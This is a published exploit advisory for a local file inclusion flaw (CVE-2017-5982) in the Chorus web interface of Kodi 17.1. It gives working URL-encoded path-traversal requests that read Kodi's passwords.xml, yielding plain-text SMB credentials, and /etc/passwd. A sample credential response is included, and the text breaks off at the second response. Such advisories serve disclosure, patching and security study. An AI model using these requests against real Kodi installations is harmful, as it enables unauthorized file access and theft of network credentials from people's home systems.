# Exploit Title: Kodi - Local File Inclusion
# Date: 12 February 2017
# Exploit Author: Eric Flokstra
# Vendor Homepage: https://kodi.tv/
# Software Link: https://kodi.tv/download/
# Version: Kodi version 17.1 (Krypton), Chorus version 2.4.2
# Tested on: Linux
# CVE: CVE-2017-5982

Kodi (formerly XBMC) is a free and open-source media player software
application developed by the XBMC Foundation. Chorus is a web interface
for controlling and interacting with Kodi. It is hosted by the Kodi
installation.

The web interface loads a thumbnail of an image, video or add-on when
selecting a category in the left menu with the following request:

http://192.168.1.25:8080/image/image%3A%2F%2F%252fhome%252fosmc%252f.kodi%252faddons%252fplugin.video.vice%252ficon.png%2F

Insufficient validation of user input is performed on this URL resulting
in a local file inclusion vulnerability. This enables attackers
to retrieve arbitrary files from the filesystem by changing the location
after the '/image/image%3A%2F%2Fa part.

<--Examples-->

1) If Kodi is connected to a NAS the following request can be used to
obtain plain-text SMB credentials:

http://192.168.1.25:8080/image/image%3A%2F%2F%2e%2e%252fhome%252fosmc%252f.kodi%252fuserdata%252fpasswords.xml

Response:

<passwords><path><from pathversion="1">smb://192.168.1.15/</from><to
pathversion="1">smb://username:password@192.168.1.15//share</to></path></passwords>

2) Request to retrieve the content of /etc/passwd:

http://192.168.1.25:8080/image/image%3A%2F%2F%2e%2e%252fetc%252fpasswd

Response:
